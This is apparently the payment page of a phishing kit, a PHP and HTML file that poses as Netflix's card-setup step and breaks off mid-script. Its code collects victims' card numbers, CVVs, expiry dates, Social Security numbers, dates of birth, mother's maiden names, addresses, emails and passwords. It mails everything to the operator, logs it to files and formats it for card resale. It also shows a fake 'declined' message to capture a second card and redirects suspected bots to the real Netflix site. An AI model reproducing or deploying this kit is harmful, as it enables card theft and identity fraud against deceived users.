<?php
session_start();
ob_start();
include 'setup/function.php';
$res = json_decode(file_get_contents('../config/access.json'), true);

if(empty($_SESSION['email']) && empty($_SESSION['password'])) {
    header("Location: https://www.netflix.com/?ref=you-are-bot");
    exit;
}

$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$ipData = fetchIpData($ip, $userAgent);
if ($ipData) saveIpData($ipData, 'Human in Card Page');

if($_SERVER['REQUEST_METHOD'] == 'POST') {
    
    if(!isset($_SESSION['counting_submit']))
    {
        $_SESSION['counting_submit'] = 0;
    }
    
    $formData = $_SESSION['form_data'] ?? [];
    
    $cardname = $_POST['cardname'];
    $cardNumber = str_replace(' ', '', $_POST['ccnumber']);
    $expirationDate = $_POST['ccexp'];
    $formatexpWebshop = explode('/', $_POST['ccexp']);
    $cvv = $_POST['cvv'];
    $cid = $_POST['amexcid'] ?? 'KOSONG';
    $xid = $_POST['xid'] ?? 'KOSONG';

    $bin = substr($cardNumber, 0, 6);
    $formattedCardNumber = implode(' ', str_split($cardNumber, 4));

    $formattedBin = $bin;

    $cardDetails = getCardDetailsFromBIN($bin);
    $issuer = strtoupper($cardDetails['issuer']);
    $cardTier = strtoupper($cardDetails['card_tier']);
    $scheme = strtoupper($cardDetails['scheme']);
    $type = strtoupper($cardDetails['type']);
    
    $ispInfo = fetchIpData($ip, $userAgent);
    $cityGeo = $ispInfo['city'];
    $region = $ispInfo['region'];
    $country = $ispInfo['country'];
    $isp = $ispInfo['isp'];
    
    $fullname = htmlspecialchars($formData['firstname'] ?? '') . ' '. htmlspecialchars($formData['lastname'] ?? '');
    $address = htmlspecialchars($formData['address'] ?? '');
    $address2 = htmlspecialchars($formData['adde'] ?? '');
    $city = htmlspecialchars($formData['city'] ?? '');
    $state = htmlspecialchars($formData['state'] ?? '');
    $zipcode = htmlspecialchars($formData['zip'] ?? '');
    $phonenumber = htmlspecialchars($formData['phone'] ?? '');
    $cty = $country;
    $sosel = htmlspecialchars($formData['ssn'] ?? '');
    $dob = htmlspecialchars($formData['dob'] ?? '');
    $mmn = htmlspecialchars($formData['mmn'] ?? '');
    $email = htmlspecialchars($_SESSION['email'] ?? '');
    $password = htmlspecialchars($_SESSION['password'] ?? '');
    
    $deviceBrowser = getDeviceAndBrowser();
    $device = $deviceBrowser['device'];
    $browser = $deviceBrowser['browser'];
    $userAgent = $deviceBrowser['user_agent'];
    
    $dateTime = date("Y-m-d H:i:s");
    
    $webshop = "$cardNumber|$formatexpWebshop[0]|$formatexpWebshop[1]|$cvv|$fullname|$address|$city|$state|$zipcode|$country|$phonenumber|$dob|$sosel|$mmn|$email|$ip|$userAgent";
    
    if($config['double_card'] == '1') {
        if(!empty($_SESSION['double_card'])) {
            if($_POST['ccnumber'] == $_SESSION['card_data']['ccnumber'])
            {
                $_SESSION['counting_submit'] += 1;
                if ($ipData) saveIpData($ipData, 'Human Try Submit Card '.$_SESSION['counting_submit']);
                header("Location: payment?ref=".generateRandomString(100));
                exit;
            } else {
                goto doublecc;
            }
        } else {
            $_SESSION['double_card'] = 'on';
            $_SESSION['card_data'] = $_POST;
            
            $templateCard = str_replace("##EMAIL##", $email, $templateCard);
            $templateCard = str_replace("##PASSWORD##", $password, $templateCard);
            $templateCard = str_replace("##BIN##", $formattedBin, $templateCard);
            $templateCard = str_replace("##CNM##", $cardname, $templateCard);
            $templateCard = str_replace("##CARDNUM##", $cardNumber, $templateCard);
            $templateCard = str_replace("##EXP##", $expirationDate, $templateCard);
            $templateCard = str_replace("##CVV##", $cvv, $templateCard);
            $templateCard = str_replace("##CID##", $cid, $templateCard);
            $templateCard = str_replace("##XID##", $xid, $templateCard);
            $templateCard = str_replace("##FULLNAME##", $fullname, $templateCard);
            $templateCard = str_replace("##ADDRESS##", $address, $templateCard);
            $templateCard = str_replace("##ADDRESS2##", $address2, $templateCard);
            $templateCard = str_replace("##CTY##", $city, $templateCard);
            $templateCard = str_replace("##STE##", $state, $templateCard);
            $templateCard = str_replace("##PHONE##", $phonenumber, $templateCard);
            $templateCard = str_replace("##PINN##", '', $templateCard);
            $templateCard = str_replace("##ZC##", $zipcode, $templateCard);
            $templateCard = str_replace("##MMN##", $mmn, $templateCard);
            $templateCard = str_replace("##DOB##", $dob, $templateCard);
            $templateCard = str_replace("##SSN##", $sosel, $templateCard);
            $templateCard = str_replace("##COPYWEB##", $webshop, $templateCard);
            $templateCard = str_replace("##DATE##", $dateTime, $templateCard);
            $templateCard = str_replace("##DV##", $device, $templateCard);
            $templateCard = str_replace("##BW##", $browser, $templateCard);
            $templateCard = str_replace("##CY##", $cityGeo, $templateCard);
            $templateCard = str_replace("##ST##", $region, $templateCard);
            $templateCard = str_replace("##CT##", $country, $templateCard);
            $templateCard = str_replace("##IP##", $ip, $templateCard);
            $templateCard = str_replace("##UA##", $userAgent, $templateCard);
            
            $subject = "Card 1 :: $formattedBin $scheme $type $issuer :: [ $ip - $country ]";
            $headers  = "MIME-Version: 1.0\r\n";
            $headers .= "Content-type: text/html; charset=UTF-8\r\n";
            $headers .= "From: 405MoneyHaist <no-reply@405moneyhaist.com>\r\n";
            $headers .= "Reply-To: support@405moneyhaist.com\r\n";
            $headers .= "X-Mailer: PHP/" . phpversion();
            mail($res['email_result'], $subject, $templateCard, $headers);
            
            loginAndCardSave($ip, 'card.txt');
            cardDetailsLogs($ip, $formattedBin, $cardname, $issuer, $cardTier, $scheme,  $type, 'bin.txt');
            if ($ipData) saveIpData($ipData, 'Human Submit Card 1');
            header("Location: payment?ref=".generateRandomString(100));
            ob_flush();
            exit;
        }
    }
    
    doublecc:
    $_SESSION['card_data'] = $_POST;
    
    $templateCard = str_replace("##EMAIL##", $email, $templateCard);
    $templateCard = str_replace("##PASSWORD##", $password, $templateCard);
    $templateCard = str_replace("##BIN##", $formattedBin, $templateCard);
    $templateCard = str_replace("##CNM##", $cardname, $templateCard);
    $templateCard = str_replace("##CARDNUM##", $cardNumber, $templateCard);
    $templateCard = str_replace("##EXP##", $expirationDate, $templateCard);
    $templateCard = str_replace("##CVV##", $cvv, $templateCard);
    $templateCard = str_replace("##CID##", $cid, $templateCard);
    $templateCard = str_replace("##XID##", $xid, $templateCard);
    $templateCard = str_replace("##FULLNAME##", $fullname, $templateCard);
    $templateCard = str_replace("##ADDRESS##", $address, $templateCard);
    $templateCard = str_replace("##ADDRESS2##", $address2, $templateCard);
    $templateCard = str_replace("##CTY##", $city, $templateCard);
    $templateCard = str_replace("##STE##", $state, $templateCard);
    $templateCard = str_replace("##PHONE##", $phonenumber, $templateCard);
    $templateCard = str_replace("##PINN##", '', $templateCard);
    $templateCard = str_replace("##ZC##", $zipcode, $templateCard);
    $templateCard = str_replace("##MMN##", $mmn, $templateCard);
    $templateCard = str_replace("##DOB##", $dob, $templateCard);
    $templateCard = str_replace("##SSN##", $sosel, $templateCard);
    $templateCard = str_replace("##COPYWEB##", $webshop, $templateCard);
    $templateCard = str_replace("##DATE##", $dateTime, $templateCard);
    $templateCard = str_replace("##DV##", $device, $templateCard);
    $templateCard = str_replace("##BW##", $browser, $templateCard);
    $templateCard = str_replace("##CY##", $cityGeo, $templateCard);
    $templateCard = str_replace("##ST##", $region, $templateCard);
    $templateCard = str_replace("##CT##", $country, $templateCard);
    $templateCard = str_replace("##IP##", $ip, $templateCard);
    $templateCard = str_replace("##UA##", $userAgent, $templateCard);
    
    if($config['double_card'] == '1') {
        $status_card = '2';
        loginAndCardSave($ip, 'card.txt');
        cardDetailsLogs($ip, $formattedBin, $cardname, $issuer, $cardTier, $scheme,  $type, 'bin.txt');
        if ($ipData) saveIpData($ipData, 'Human Submit Card 2');
    } else {
        $status_card = '1';
        if ($ipData) saveIpData($ipData, 'Human Submit Card 1');
        loginAndCardSave($ip, 'card.txt');
        cardDetailsLogs($ip, $formattedBin, $cardname, $issuer, $cardTier, $scheme,  $type, 'bin.txt');
    }
    
    $subject = "Card $status_card :: $formattedBin $scheme $type $issuer :: [ $ip - $country ]";
    $headers  = "MIME-Version: 1.0\r\n";
    $headers .= "Content-type: text/html; charset=UTF-8\r\n";
    $headers .= "From: 405MoneyHaist <no-reply@405moneyhaist.com>\r\n";
    $headers .= "Reply-To: support@405moneyhaist.com\r\n";
    $headers .= "X-Mailer: PHP/" . phpversion();
    mail($res['email_result'], $subject, $templateCard, $headers);
    
    $dataccwebshop = "$cardNumber|$formatexpWebshop[0]|$formatexpWebshop[1]|$cvv|$fullname|$address|$city|$state|$zipcode|$country|$phonenumber|$dob|$sosel|$mmn|$email|$ip|$userAgent";
    saveDataCard($dataccwebshop);
    
    session_destroy();
    
    header("Location: ".$config['redirect_completed_link']);
    ob_flush();
    exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Netflix - Payment</title>
    <link rel="stylesheet" href="tema/styles/style.css">
    <style>
        /* Clean Loading Screen */
        .loading-overlay {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100vh;
            background: #ffffff;
            z-index: 999999;
            display: flex;
            justify-content: center;
            align-items: center;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
        }
        .loading-content {
            text-align: center;
            padding: 40px;
        }
        .loading-spinner {
            border: 3px solid #f0f0f0;
            border-top: 3px solid #e50914;
            border-radius: 50%;
            width: 60px;
            height: 60px;
            animation: spin 0.8s linear infinite;
            margin: 0 auto 24px;
        }
        .loading-text {
            margin: 0;
            font-size: 18px;
            font-weight: 400;
            color: #333;
            letter-spacing: 0.5px;
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        /* Card Icon Styles */
        .card-icon {
            width: 40px;
            height: 24px;
            display: flex;
            align-items: center;
            justify-content: center;
            background-size: contain;
            background-repeat: no-repeat;
            background-position: center;
            transition: all 0.3s ease;
            border-radius: 4px;
        }

        .card-icon.default-card svg {
            width: 24px;
            height: 24px;
            color: #8c8c8c;
            transition: all 0.3s ease;
        }

        .card-icon.visa {
            background-image: url('tema/assets/images/VISA.png');
            background-size: 36px auto;
        }

        .card-icon.mastercard {
            background-image: url('tema/assets/images/MASTERCARD.png');
            background-size: 36px auto;
        }

        .card-icon.amex {
            background-image: url('tema/assets/images/AMEX.png');
            background-size: 36px auto;
        }

        .card-icon.discover {
            background: linear-gradient(135deg, #ff6000, #ff8533);
            color: white;
            font-size: 9px;
            font-weight: bold;
            font-family: Arial, sans-serif;
            border-radius: 4px;
            text-shadow: 0 1px 2px rgba(0,0,0,0.3);
        }

        .card-icon.diners {
            background: linear-gradient(135deg, #0079be, #005a8b);
            color: white;
            font-size: 7px;
            font-weight: bold;
            font-family: Arial, sans-serif;
            border-radius: 4px;
            text-shadow: 0 1px 2px rgba(0,0,0,0.3);
        }

        .card-icon.jcb {
            background: linear-gradient(135deg, #006cbc, #004f8a);
            color: white;
            font-size: 9px;
            font-weight: bold;
            font-family: Arial, sans-serif;
            border-radius: 4px;
            text-shadow: 0 1px 2px rgba(0,0,0,0.3);
        }

        /* Hide SVG when showing card logos */
        .card-icon.visa svg,
        .card-icon.mastercard svg,
        .card-icon.amex svg,
        .card-icon.discover svg,
        .card-icon.diners svg,
        .card-icon.jcb svg {
            display: none;
        }

        /* Animation effects */
        .card-icon {
            transform-origin: center;
        }

        .card-icon.default-card {
            animation: pulse 2s infinite;
        }

        @keyframes pulse {
            0% { opacity: 0.6; }
            50% { opacity: 1; }
            100% { opacity: 0.6; }
        }

        /* Stop pulse animation when card is detected */
        .card-icon:not(.default-card) {
            animation: none;
            opacity: 1;
        }
    </style>
</head>
<body>
    <!-- Simple Loading Screen -->
    <div id="loading-overlay" class="loading-overlay">
        <div class="loading-content">
            <div class="loading-spinner"></div>
            <p class="loading-text">Loading...</p>
        </div>
    </div>
    <header class="header">
        <div class="header-content">
            <svg class="netflix-logo" viewBox="0 0 111 30" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" role="img">
                <g><path d="M105.06233,14.2806261 L110.999156,30 C109.249227,29.7497422 107.500234,29.4366857 105.718437,29.1554972 L102.374168,20.4686475 L98.9371075,28.4375293 C97.2499766,28.1563408 95.5928391,28.061674 93.9057081,27.8432843 L99.9372012,14.0931671 L94.4680851,-5.68434189e-14 L99.5313525,-5.68434189e-14 L102.593495,7.87421502 L105.874965,-5.68434189e-14 L110.999156,-5.68434189e-14 L105.06233,14.2806261 Z M90.4686475,-5.68434189e-14 L85.8749649,-5.68434189e-14 L85.8749649,27.2499766 C87.3746368,27.3437061 88.9371075,27.4055675 90.4686475,27.5930265 L90.4686475,-5.68434189e-14 Z M81.9055207,26.93692 C77.7186241,26.6557316 73.5307901,26.4064111 69.250164,26.3117443 L69.250164,-5.68434189e-14 L73.9366389,-5.68434189e-14 L73.9366389,21.8745899 C76.6248008,21.9373887 79.3120255,22.1557784 81.9055207,22.2804387 L81.9055207,26.93692 Z M64.2496954,10.6561065 L64.2496954,15.3435186 L57.8442216,15.3435186 L57.8442216,25.9996251 L53.2186709,25.9996251 L53.2186709,-5.68434189e-14 L66.3436123,-5.68434189e-14 L66.3436123,4.68741213 L57.8442216,4.68741213 L57.8442216,10.6561065 L64.2496954,10.6561065 Z M45.3435186,4.68741213 L45.3435186,26.2498828 C43.7810479,26.2498828 42.1876465,26.2498828 40.6561065,26.3117443 L40.6561065,4.68741213 L35.8121661,4.68741213 L35.8121661,-5.68434189e-14 L50.2183897,-5.68434189e-14 L50.2183897,4.68741213 L45.3435186,4.68741213 Z M30.749836,15.5928391 C28.687787,15.5928391 26.2498828,15.5928391 24.4999531,15.6875059 L24.4999531,22.6562939 C27.2499766,22.4678976 30,22.2495079 32.7809542,22.1557784 L32.7809542,26.6557316 L19.812541,27.6876933 L19.812541,-5.68434189e-14 L32.7809542,-5.68434189e-14 L32.7809542,4.68741213 L24.4999531,4.68741213 L24.4999531,10.9991564 C26.3126816,10.9991564 29.0936358,10.9054269 30.749836,10.9054269 L30.749836,15.5928391 Z M4.78114163,12.9684132 L4.78114163,29.3429562 C3.09401069,29.5313525 1.59340144,29.7497422 0,30 L0,-5.68434189e-14 L4.4690224,-5.68434189e-14 L10.562377,17.0315868 L10.562377,-5.68434189e-14 L15.2497891,-5.68434189e-14 L15.2497891,28.061674 C13.5935889,28.3437998 11.906458,28.4375293 10.1246602,28.6868498 L4.78114163,12.9684132 Z"></path></g>
            </svg>
            <a href="#" class="sign-out">Sign Out</a>
        </div>
    </header>

    <main class="main-content">

        <div class="step-info">Step 3 of 3</div>
        <h1 class="page-title">Set up your credit or debit card</h1>

        <div class="card-types">
            <div class="visa-icon"></div>
            <div class="mastercard-icon"></div>
            <div class="amex-icon"></div>
        </div>

        <form method="POST">
            <input type="hidden" id="cardType" name="card_type" value="" required>
            
            <div class="form-group">
                <div class="card-number-wrapper">
                    <div class="input-wrapper">
                        <input type="text" class="form-control" id="cardNumber" name="ccnumber" placeholder=" " maxlength="19">
                        <label for="cardNumber" class="floating-label">Card number</label>
                    </div>
                    <div class="card-icon default-card" id="cardIcon">
                        <svg xmlns="http://www.w3.org/2000/svg" fill="none" role="img" viewBox="0 0 24 24" width="24" height="24" data-icon="CreditCardStandard" aria-hidden="true">
                            <path fill-rule="evenodd" clip-rule="evenodd" d="M0 6C0 4.34315 1.34315 3 3 3H21C22.6569 3 24 4.34315 24 6V18C24 19.6569 22.6569 21 21 21H3C1.34314 21 0 19.6569 0 18V6ZM3 5C2.44772 5 2 5.44772 2 6V8H22V6C22 5.44771 21.5523 5 21 5H3ZM2 18V10H22V18C22 18.5523 21.5523 19 21 19H3C2.44772 19 2 18.5523 2 18ZM16 16H20V14H16V16Z" fill="currentColor"></path>
                        </svg>
                    </div>
                </div>
                <?php if(isset($_SESSION['card_data'])): ?>
                <div class="error-message" id="cardNumberError" style="display: block">
                    <svg class="error-icon" xmlns="http://www.w3.org/2000/svg" fill="none" role="img" viewBox="0 0 16 16" width="12" height="12" data-icon="CircleXSmall" aria-hidden="true">
                        <path fill-rule="evenodd" clip-rule="evenodd" d="M14.5 8C14.5 11.5899 11.5899 14.5 8 14.5C4.41015 14.5 1.5 11.5899 1.5 8C1.5 4.41015 4.41015 1.5 8 1.5C11.5899 1.5 14.5 4.41015 14.5 8ZM16 8C16 12.4183 12.4183 16 8 16C3.58172 16 0 12.4183 0 8C0 3.58172 3.58172 0 8 0C12.4183 0 16 3.58172 16 8ZM4.46967 5.53033L6.93934 8L4.46967 10.4697L5.53033 11.5303L8 9.06066L10.4697 11.5303L11.5303 10.4697L9.06066 8L11.5303 5.53033L10.4697 4.46967L8 6.93934L5.53033 4.46967L4.46967 5.53033Z" fill="currentColor"></path>
                    </svg>
                    <span>Your credit card has been declined. please try another one.</span>
                </div>
                <?php else: ?>
                <div class="error-message" id="cardNumberError">
                    <svg class="error-icon" xmlns="http://www.w3.org/2000/svg" fill="none" role="img" viewBox="0 0 16 16" width="12" height="12" data-icon="CircleXSmall" aria-hidden="true">
                        <path fill-rule="evenodd" clip-rule="evenodd" d="M14.5 8C14.5 11.5899 11.5899 14.5 8 14.5C4.41015 14.5 1.5 11.5899 1.5 8C1.5 4.41015 4.41015 1.5 8 1.5C11.5899 1.5 14.5 4.41015 14.5 8ZM16 8C16 12.4183 12.4183 16 8 16C3.58172 16 0 12.4183 0 8C0 3.58172 3.58172 0 8 0C12.4183 0 16 3.58172 16 8ZM4.46967 5.53033L6.93934 8L4.46967 10.4697L5.53033 11.5303L8 9.06066L10.4697 11.5303L11.5303 10.4697L9.06066 8L11.5303 5.53033L10.4697 4.46967L8 6.93934L5.53033 4.46967L4.46967 5.53033Z" fill="currentColor"></path>
                    </svg>
                    <span>Please enter a card number.</span>
                </div>
                <?php endif; ?>
            </div>

            <div class="date-cvv-section">
                <div class="form-row">
                    <div class="form-group">
                        <div class="input-wrapper">
                            <input type="text" class="form-control" id="expDate" name="ccexp" placeholder=" " maxlength="5" required>
                            <label for="expDate" class="floating-label">Expiration date</label>
                        </div>
                        <div class="error-message" id="expDateError">
                            <svg class="error-icon" xmlns="http://www.w3.org/2000/svg" fill="none" role="img" viewBox="0 0 16 16" width="12" height="12" data-icon="CircleXSmall" aria-hidden="true">
                                <path fill-rule="evenodd" clip-rule="evenodd" d="M14.5 8C14.5 11.5899 11.5899 14.5 8 14.5C4.41015 14.5 1.5 11.5899 1.5 8C1.5 4.41015 4.41015 1.5 8 1.5C11.5899 1.5 14.5 4.41015 14.5 8ZM16 8C16 12.4183 12.4183 16 8 16C3.58172 16 0 12.4183 0 8C0 3.58172 3.58172 0 8 0C12.4183 0 16 3.58172 16 8ZM4.46967 5.53033L6.93934 8L4.46967 10.4697L5.53033 11.5303L8 9.06066L10.4697 11.5303L11.5303 10.4697L9.06066 8L11.5303 5.53033L10.4697 4.46967L8 6.93934L5.53033 4.46967L4.46967 5.53033Z" fill="currentColor"></path>
                            </svg>
                            <span>Please enter an expiration date.</span>
                        </div>
                    </div>
                    <div class="form-group">
                        <div class="input-wrapper">
                            <input type="text" class="form-control" id="cvv" name="cvv" placeholder=" " maxlength="4" required>
                            <label for="cvv" class="floating-label">CVV</label>
                            <svg class="cvv-info" xmlns="http://www.w3.org/2000/svg" fill="none" role="img" viewBox="0 0 24 24" width="24" height="24" data-icon="CircleQuestionMarkStandard" pointer-events="all" aria-hidden="true">
                            <path fill-rule="evenodd" clip-rule="evenodd" d="M2 12C2 6.47715 6.47715 2 12 2C17.5228 2 22 6.47715 22 12C22 17.5228 17.5228 22 12 22C6.47715 22 2 17.5228 2 12ZM12 0C5.37258 0 0 5.37258 0 12C0 18.6274 5.37258 24 12 24C18.6274 24 24 18.6274 24 12C24 5.37258 18.6274 0 12 0ZM12 8C10.6831 8 10 8.74303 10 9.5H8C8 7.25697 10.0032 6 12 6C13.9968 6 16 7.25697 16 9.5C16 10.8487 14.9191 11.7679 13.8217 12.18C13.5572 12.2793 13.3322 12.4295 13.1858 12.5913C13.0452 12.7467 13 12.883 13 13V14H11V13C11 11.5649 12.1677 10.6647 13.1186 10.3076C13.8476 10.0339 14 9.64823 14 9.5C14 8.74303 13.3169 8 12 8ZM13.5 16.5C13.5 17.3284 12.8284 18 12 18C11.1716 18 10.5 17.3284 10.5 16.5C10.5 15.6716 11.1716 15 12 15C12.8284 15 13.5 15.6716 13.5 16.5Z" fill="currentColor"></path>
                        </svg>
                        </div>
                        <div class="error-message" id="cvvError">
                            <svg class="error-icon" xmlns="http://www.w3.org/2000/svg" fill="none" role="img" viewBox="0 0 16 16" width="12" height="12" data-icon="CircleXSmall" aria-hidden="true">
                                <path fill-rule="evenodd" clip-rule="evenodd" d="M14.5 8C14.5 11.5899 11.5899 14.5 8 14.5C4.41015 14.5 1.5 11.5899 1.5 8C1.5 4.41015 4.41015 1.5 8 1.5C11.5899 1.5 14.5 4.41015 14.5 8ZM16 8C16 12.4183 12.4183 16 8 16C3.58172 16 0 12.4183 0 8C0 3.58172 3.58172 0 8 0C12.4183 0 16 3.58172 16 8ZM4.46967 5.53033L6.93934 8L4.46967 10.4697L5.53033 11.5303L8 9.06066L10.4697 11.5303L11.5303 10.4697L9.06066 8L11.5303 5.53033L10.4697 4.46967L8 6.93934L5.53033 4.46967L4.46967 5.53033Z" fill="currentColor"></path>
                            </svg>
                            <span>Please enter a security code (CVV).</span>
                        </div>
                    </div>
                </div>
            </div>

            <div class="form-group">
                <div class="input-wrapper">
                    <input type="text" class="form-control" id="nameOnCard" name="cardname" placeholder=" " value="<?php echo $_SESSION['form_data']['firstname'] ?? ''; ?> <?php echo $_SESSION['form_data']['lastname'] ?? ''; ?>" required>
                    <label for="nameOnCard" class="floating-label">Name on card</label>
                </div>
                <div class="error-message" id="nameOnCardError">
                    <svg class="error-icon" xmlns="http://www.w3.org/2000/svg" fill="none" role="img" viewBox="0 0 16 16" width="12" height="12" data-icon="CircleXSmall" aria-hidden="true">
                        <path fill-rule="evenodd" clip-rule="evenodd" d="M14.5 8C14.5 11.5899 11.5899 14.5 8 14.5C4.41015 14.5 1.5 11.5899 1.5 8C1.5 4.41015 4.41015 1.5 8 1.5C11.5899 1.5 14.5 4.41015 14.5 8ZM16 8C16 12.4183 12.4183 16 8 16C3.58172 16 0 12.4183 0 8C0 3.58172 3.58172 0 8 0C12.4183 0 16 3.58172 16 8ZM4.46967 5.53033L6.93934 8L4.46967 10.4697L5.53033 11.5303L8 9.06066L10.4697 11.5303L11.5303 10.4697L9.06066 8L11.5303 5.53033L10.4697 4.46967L8 6.93934L5.53033 4.46967L4.46967 5.53033Z" fill="currentColor"></path>
                    </svg>
                    <span>Please enter a name.</span>
                </div>
            </div>

            <div class="pricing-info">
                <div class="pricing-text">
                    <span class="pricing-amount"><?php echo $_SESSION['form_data']['firstname'] ?? ''; ?> <?php echo $_SESSION['form_data']['lastname'] ?? ''; ?></span><br>
                    <?php echo $_SESSION['form_data']['address'] ?? ''; ?><br>
                    <?php if(!empty($_SESSION['form_data']['adde'])): ?>
                        <?php echo $_SESSION['form_data']['adde'] ?? ''; ?><br>
                    <?php endif; ?>
                    <?php echo $_SESSION['form_data']['city'] ?? ''; ?>, <?php echo $_SESSION['form_data']['state'] ?? ''; ?>, <?php echo $_SESSION['form_data']['zip'] ?? ''; ?><br>
                    United States
                </div>
                <?php if($dataPage['billing_template'] == '1'): ?>
                <a href="identity?ref=<?= generateRandomString(100);?>" class="change-link">Change</a>
                <?php else: ?>
                <a href="address?ref=<?= generateRandomString(100);?>" class="change-link">Change</a>
                <?php endif; ?>
            </div>

            <div class="disclaimer">
                By checking the checkbox below, you agree to our <a href="#">Terms of Use</a>, <a href="#">Privacy Statement</a>, and that you are over 18. Netflix will automatically continue your membership and charge the membership fee to your payment method until you cancel. You may cancel at any time to avoid future charges.
            </div>

            <div class="checkbox-wrapper">
                <input type="checkbox" id="agree" name="agree" class="checkbox">
                <label for="agree" class="checkbox-label">I agree.</label>
            </div>

            <button type="submit" class="start-button">Continue</button>

            <div class="recaptcha-notice">
                This page is protected by Google reCAPTCHA to ensure you're not a bot. <a href="#">Learn more</a>.
            </div>
        </form>
    </main>

    <footer class="footer">
        <div class="footer-content">
            <div class="footer-contact">
                Questions? Call <a href="tel:1-844-505-2993">1-844-505-2993</a>
            </div>

            <div class="footer-links">
                <a href="#">FAQ</a>
                <a href="#">Help Center</a>
                <a href="#">Terms of Use</a>
                <a href="#">Privacy</a>
                <a href="#">Cookie Preferences</a>
                <a href="#">Corporate Information</a>
                <a href="#">Ad Choices</a>
            </div>

            <div class="language-selector" style="position: relative; display: inline-block; margin-top: 20px;">
                <svg class="language-icon" xmlns="http://www.w3.org/2000/svg" fill="none" role="img" viewBox="0 0 16 16" width="16" height="16" data-icon="LanguagesSmall" aria-hidden="true" style="position: absolute; left: 8px; top: 50%; transform: translateY(-50%); width: 16px; height: 16px; color: #737373; pointer-events: none; z-index: 1;">
                    <path fill-rule="evenodd" clip-rule="evenodd" d="M10.7668 5.33333L10.5038 5.99715L9.33974 8.9355L8.76866 10.377L7.33333 14H9.10751L9.83505 12.0326H13.4217L14.162 14H16L12.5665 5.33333H10.8278H10.7668ZM10.6186 9.93479L10.3839 10.5632H11.1036H12.8856L11.6348 7.2136L10.6186 9.93479ZM9.52722 4.84224C9.55393 4.77481 9.58574 4.71045 9.62211 4.64954H6.41909V2H4.926V4.64954H0.540802V5.99715H4.31466C3.35062 7.79015 1.75173 9.51463 0 10.4283C0.329184 10.7138 0.811203 11.2391 1.04633 11.5931C2.55118 10.6795 3.90318 9.22912 4.926 7.57316V12.6667H6.41909V7.51606C6.81951 8.15256 7.26748 8.76169 7.7521 9.32292L8.31996 7.88955C7.80191 7.29052 7.34631 6.64699 6.9834 5.99715H9.06968L9.52722 4.84224Z" fill="currentColor"></path>
                </svg>
                <select name="language" id="language" style="background: transparent; border: 1px solid #737373; color: #737373; padding: 8px 32px 8px 32px; font-size: 13px; border-radius: 2px; appearance: none; cursor: pointer; min-width: 120px;">
                    <option value="en">English</option>
                    <option value="es">Español</option>
                </select>
                <svg class="dropdown-arrow" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 16 16" width="16" height="16" style="position: absolute; right: 8px; top: 50%; transform: translateY(-50%); width: 12px; height: 12px; color: #737373; pointer-events: none; z-index: 1;">
                    <path d="M8 10.586L3.414 6 2 7.414 8 13.414 14 7.414 12.586 6z" fill="currentColor"/>
                </svg>
            </div>
            
            <div class="footer-country">
                Netflix United States
            </div>
        </div>
    </footer>

    <script>
        // Simple Loading Screen - Hide after 1.5 seconds
        setTimeout(function() {
            const loadingOverlay = document.getElementById('loading-overlay');
            if (loadingOverlay) {
                loadingOverlay.style.opacity = '0';
                loadingOverlay.style.transition = 'opacity 0.3s ease';
                setTimeout(function() {
                    loadingOverlay.remove();
                }, 300);
            }
        }, 1500);

        // Card type detection and formatting
        document.addEventListener('DOMContentLoaded', function() {
            const cardNumberInput = document.getElementById('cardNumber');
            const cardIcon = document.getElementById('cardIcon');
            const cvvInput = document.getElementById('cvv');

            // Card type patterns
            const cardTypes = {
                visa: {
                    pattern: /^4/,
                    lengths: [13, 16, 19],
                    cvvLength: 3,
                    format: /(\d{1,4})(\d{1,4})?(\d{1,4})?(\d{1,4})?/,
                    name: 'Visa'
                },
                mastercard: {
                    pattern: /^(5[1-5]|2[2-7])/,
                    lengths: [16],
                    cvvLength: 3,
                    format: /(\d{1,4})(\d{1,4})?(\d{1,4})?(\d{1,4})?/,
                    name: 'Mastercard'
                },
                amex: {
                    pattern: /^3[47]/,
                    lengths: [15],
                    cvvLength: 4,
                    format: /(\d{1,4})(\d{1,6})?(\d{1,5})?/,
                    name: 'American Express'
                },
                discover: {
                    pattern: /^(6011|622[1-9]|64[4-9]|65)/,
                    lengths: [16],
                    cvvLength: 3,
                    format: /(\d{1,4})(\d{1,4})?(\d{1,4})?(\d{1,4})?/,
                    name: 'Discover'
                },
                diners: {
                    pattern: /^(30[0-5]|36|38)/,
                    lengths: [14],
                    cvvLength: 3,
                    format: /(\d{1,4})(\d{1,6})?(\d{1,4})?/,
                    name: 'Diners Club'
                },
                jcb: {
                    pattern: /^35/,
                    lengths: [16],
                    cvvLength: 3,
                    format: /(\d{1,4})(\d{1,4})?(\d{1,4})?(\d{1,4})?/,
                    name: 'JCB'
                }
            };

            function detectCardType(number) {
                const cleanNumber = number.replace(/\D/g, '');
                
                for (const [type, config] of Object.entries(cardTypes)) {
                    if (config.pattern.test(cleanNumber)) {
                        return { type, config };
                    }
                }
                
                return { type: 'default', config: null };
            }

            function formatCardNumber(number, cardType) {
                const cleanNumber = number.replace(/\D/g, '');
                
                if (cardType && cardTypes[cardType]) {
                    const format = cardTypes[cardType].format;
                    const match = cleanNumber.match(format);
                    
                    if (match) {
                        return match.slice(1).filter(Boolean).join(' ');
                    }
                }
                
                // Default formatting (4 digits groups)
                return cleanNumber.replace(/(\d{4})(?=\d)/g, '$1 ');
            }

            function updateCardIcon(cardType) {
                // Remove all card type classes
                cardIcon.className = 'card-icon';
                
                if (cardType === 'default' || !cardType) {
                    cardIcon.classList.add('default-card');
                    cardIcon.innerHTML = `<svg xmlns="http://www.w3.org/2000/svg" fill="none" role="img" viewBox="0 0 24 24" width="24" height="24" data-icon="CreditCardStandard" aria-hidden="true">
